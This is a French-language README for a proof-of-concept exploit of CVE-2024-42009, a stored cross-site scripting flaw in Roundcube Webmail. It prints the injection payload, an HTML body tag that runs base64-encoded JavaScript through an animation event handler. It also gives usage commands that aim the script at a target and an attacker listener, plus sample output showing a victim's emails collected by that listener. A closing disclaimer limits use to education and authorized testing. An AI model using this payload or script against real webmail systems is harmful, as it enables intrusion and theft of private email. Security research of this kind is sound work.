
CVE-2024-42009 Proof of Concept
Ce dépôt contient une preuve de concept (PoC) d'exploit pour CVE-2024-42009, une vulnérabilité de Cross-Site Scripting (XSS) stockée dans Roundcube Webmail version 1.6.7 et plusieurs autres versions. L'exploit montre comment un attaquant peut injecter du JavaScript malveillant dans un message et profiter d'un problème de désanitisation lors de l'analyse du HTML dans le message, ce qui peut ensuite être utilisé pour exfiltrer le contenu des emails de la boîte de réception de la victime dans cet exemple, voire prendre le contrôle du navigateur de la victime.
Une vulnérabilité Cross-Site Scripting dans Roundcube jusqu'à la version 1.5.7 et 1.6.x jusqu'à 1.6.7 permet à un attaquant distant de voler et d'envoyer des emails d'une victime via un message électronique contrefait qui abuse d'un problème de désanitisation dans message_body() dans program/actions/mail/show.php.
L'exploit utilise un déclencheur d'animation CSS pour l'exécution XSS :
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
Le body est analysé comme une div, et nous devons nous y adapter, c'est pourquoi nous utilisons l'attribut onanimationstart pour appeler la fonction eval et exécuter des appels JavaScript complexes. Pour en savoir plus sur le fonctionnement de l'exploit et sur l'emplacement des vulnérabilités dans Roundcube, lisez cet article.
Installez les paquets Python requis :
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ IMPORTANT : Cette preuve de concept est fournie uniquement à des fins éducatives et de tests autorisés. Utilisez-la de manière responsable et ce compte n'est pas responsable des dommages causés par autrui.